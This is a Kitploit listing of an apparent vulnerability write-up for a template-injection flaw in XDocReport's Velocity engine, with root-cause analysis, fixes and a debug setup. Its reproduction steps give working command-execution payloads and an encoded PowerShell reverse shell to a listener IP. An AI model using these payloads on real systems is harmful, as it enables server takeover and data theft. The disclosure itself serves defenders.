Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-38165-SSTI- — CVE-2026-38165 (SSTI) | Kitploit
Tools/GitHubGitHub/at190510-cuong/cve-2026-38165-ssti-
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationLearning & EducationPayload Development
GitHubat190510-cuong/cve-2026-38165-ssti-

CVE-2026-38165-SSTI-

CVE-2026-38165 (SSTI)

View Repository
1362 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-38165 (SSTI Velocity)

Server-Side Template Injection (SSTI) in XDocReport allows Remote Code Execution via Apache Velocity engine

Bug Definition

Overview of the vulnerability

  • Server-Side Template Injection (SSTI) is a web security vulnerability that allows attackers to inject malicious code into templates used by Content Management Systems (CMS) and web frameworks, aiming to conduct remote attacks, harvest sensitive information, or perform system intrusion activities.

  • SSTI is a variant of Injection vulnerabilities (such as SQL Injection, XSS, etc.), where attackers exploit the use of template systems to deploy malicious code remotely. When an SSTI attack is successfully executed, attackers can run their own code on the server-side, enabling them to conduct remote attacks, such as collecting sensitive information, performing system intrusion activities, and accessing unauthorized resources.

  • SSTI vulnerabilities often occur due to the use of insecure template systems, or due to a failure to validate and process input parameters before inserting them into templates. If an SSTI attack is successful, the consequences can be severe, causing significant damage to the affected organization.

Business Impact

  • The SSTI vulnerability can cause several serious consequences, including:

  • Remote Code Execution: Attackers can use this vulnerability to execute malicious code on the server, allowing them to steal data, perform illegal actions on the system, or even take full control of the server.

  • Sensitive Information Disclosure: SSTI can allow attackers to read, modify, or delete files on the server. If these files contain sensitive information, such as usernames and passwords, attackers can easily expose this information.

Download Tool
  • Phishing or Social Engineering Attacks: Attackers can use SSTI to conduct phishing or social engineering attacks by altering website content or adding fake custom buttons. If users click on these buttons, attackers can steal user information or install malware on their computers.

  • Severity CRITICAL

    image

    Description and Impact

    fr.opensagres.xdocreport.template.velocity

    A Server-Side Template Injection (SSTI) vulnerability was found in OpenSAGRES XDocReport when processing DOCX templates with the velocity engine. Under certain configurations, crafted templates can lead to Remote Code Execution (RCE).

    The HR management website allows users to upload .docx document files to the system. During processing, the application uses the Velocity template engine (at the file) to render content without any mechanism to control or filter input content. This vulnerability allows an attacker to inject malicious expressions into the .docx file (template), leading to Remote Code Execution (RCE) on the server, which can be exploited to steal information or take control of the system.

    Affected component

    fr.opensagres.xdocreport.template.velocity — XDocReport (versions =< 2.1.0).

    Root cause analysis

    https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.velocity/src/main/java/fr/opensagres/xdocreport/template/velocity/internal/VelocityTemplateEngine.java

    image

    velocityEngine.evaluate(...) is the standard/"default" method of Apache Velocity to evaluate a template from a Reader (or from a String) using a Context and writing to a Writer. It executes VTL (Velocity Template Language) syntax just like Template.merge(...)

    Actual difference between evaluate and Template.merge

    • evaluate: parses from Reader/String → convenient when template is dynamic/untrusted.
    • getTemplate(...).merge(...): loads a template that has been processed by the resource loader (caching, encoding...), then merges. In terms of VTL execution capability, both execute the same expressions; the main difference is in the location/method of template loading.

    Step to reproduce

    1. The user uploads a .docx file with the following payload inside:

    image

    root@kitploit:~
    #set($x="abc")
    #set($str=$x.getClass().forName("java.lang.String"))
    #set($cha=$x.getClass().forName("java.lang.Character"))
    #set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("whoami"))
    $r.waitFor()
    #set($out=$r.getInputStream())
    #set($result="")
    #foreach($i in [1..$out.available()])
    #set($result = $result + $str.valueOf($cha.toChars($out.read())))
    #end
    $result
    

    image

    1. Observe that system commands can be executed successfully

    image

    1. Similarly, with the following payload:
    root@kitploit:~
    #set($x="abc")
    #set($str=$x.getClass().forName("java.lang.String"))
    #set($cha=$x.getClass().forName("java.lang.Character"))
    #set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("cmd /c dir d:"))
    $r.waitFor()
    #set($out=$r.getInputStream())
    #set($result="")
    #foreach($i in [1..$out.available()])
    #set($result = $result + $str.valueOf($cha.toChars($out.read())))
    #end
    $result
    

    image

    image

    image

    1. Similarly
    root@kitploit:~
    #set($x="abc")
    #set($str=$x.getClass().forName("java.lang.String"))
    #set($cha=$x.getClass().forName("java.lang.Character"))
    #set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("calc"))
    $r.waitFor()
    #set($out=$r.getInputStream())
    #set($result="")
    #foreach($i in [1..$out.available()])
    #set($result = $result + $str.valueOf($cha.toChars($out.read())))
    #end
    $result
    

    image

    image

    1. Escalate impact to RCE
    • The listener machine is WSL with IP address 172.26.208.130

    image

    • Exploit with the following payload:
    root@kitploit:~
    #set($x="abc")
    #set($str=$x.getClass().forName("java.lang.String"))
    #set($cha=$x.getClass().forName("java.lang.Character"))
    #set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="))
    $r.waitFor()
    #set($out=$r.getInputStream())
    #set($result="")
    #foreach($i in [1..$out.available()])
    #set($result = $result + $str.valueOf($cha.toChars($out.read())))
    #end
    $result
    

    image

    • Submit the .docx file to xdocreport for processing

    image

    • Observe that a shell is returned on the WSL machine

    image

    Solution

    • https://github.com/opensagres/xdocreport/pull/723

    Block dangerous reflection access in templates.

    root@kitploit:~
    velocityEngineProperties.setProperty(
        "runtime.introspector.uberspect",
        "org.apache.velocity.util.introspection.SecureUberspector"
    );
    

    Apache Velocity SecureUberspector class is a sandbox introspector.

    SecureUberspector will block:

    • java.lang.Runtime
    • java.lang.ClassLoader
    • java.lang.Process

    Blocked class list

    root@kitploit:~
    
    velocityEngineProperties.setProperty(
        "introspector.restrict.classes",
        "java.lang.Class,
         java.lang.ClassLoader,
         java.lang.Process,
         java.lang.Runtime,
         java.lang.System,
         java.lang.Thread"
    );
    

    Block reflection package

    root@kitploit:~
    velocityEngineProperties.setProperty(
        "introspector.restrict.packages",
        "java.lang.reflect"
    );
    

    Block:

    • java.lang.reflect.Method
    • java.lang.reflect.Field

    Set up debug environment

    • at the file Main.java
    root@kitploit:~
    package org.example;
    
    import fr.opensagres.xdocreport.document.IXDocReport;
    import fr.opensagres.xdocreport.document.registry.XDocReportRegistry;
    import fr.opensagres.xdocreport.template.IContext;
    import fr.opensagres.xdocreport.template.TemplateEngineKind;
    
    import java.io.*;
    import java.io.File;
    import java.io.FileInputStream;
    import java.io.FileOutputStream;
    import java.io.InputStream;
    import java.io.OutputStream;
    
    public class Main {
    
        public static void main(String[] args) {
            try {
                // Read the input file containing Velocity expressions
                File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // Input file
                InputStream input = new FileInputStream(docxTemplate);
    
    //             Load template using Velocity
                IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Velocity);
    
    
    
                // Create context - can be empty if testing standalone expressions
                IContext context = report.createContext();
    
                // Output to a new file
                OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
                report.process(context, out);
    
                System.out.println("✅ Created result.docx successfully.");
            } catch (Exception e) {
                System.err.println("❌ Error processing file:");
                e.printStackTrace();
            }
        }
    }
    
    
    • Required libraries to import
    root@kitploit:~
    <?xml version="1.0" encoding="UTF-8"?>
    <project xmlns="http://maven.apache.org/POM/4.0.0"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
        <modelVersion>4.0.0</modelVersion>
    
        <groupId>org.example</groupId>
        <artifactId>vcs1</artifactId>
        <version>1.0-SNAPSHOT</version>
    
        <properties>
            <maven.compiler.source>18</maven.compiler.source>
            <maven.compiler.target>18</maven.compiler.target>
            <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        </properties>
    
        <dependencies>
            <!-- Template engine: FreeMarker -->
            <dependency>
                <groupId>fr.opensagres.xdocreport</groupId>
                <artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
                <version>2.1.0</version>
            </dependency>
    
            <dependency>
                <groupId>fr.opensagres.xdocreport</groupId>
                <artifactId>fr.opensagres.xdocreport.template.velocity</artifactId>
                <version>2.1.0</version>
            </dependency>
    
            <dependency>
                <groupId>fr.opensagres.xdocreport</groupId>
                <artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
                <version>2.0.3</version>
            </dependency>
        </dependencies>
    </project>
    
    

    Debug analysis of source sink

    • report.process(context, out) — this is the point where the template is rendered/written to a file

    image

    image

    image

    image

    image

    image

    image

    image

    image

    image

    image

    image image

    image

    image

    References

    • https://drive.google.com/drive/folders/1pLguRIVrqyXcy1jE35nW-wAvBR0sHb7x?usp=drive_link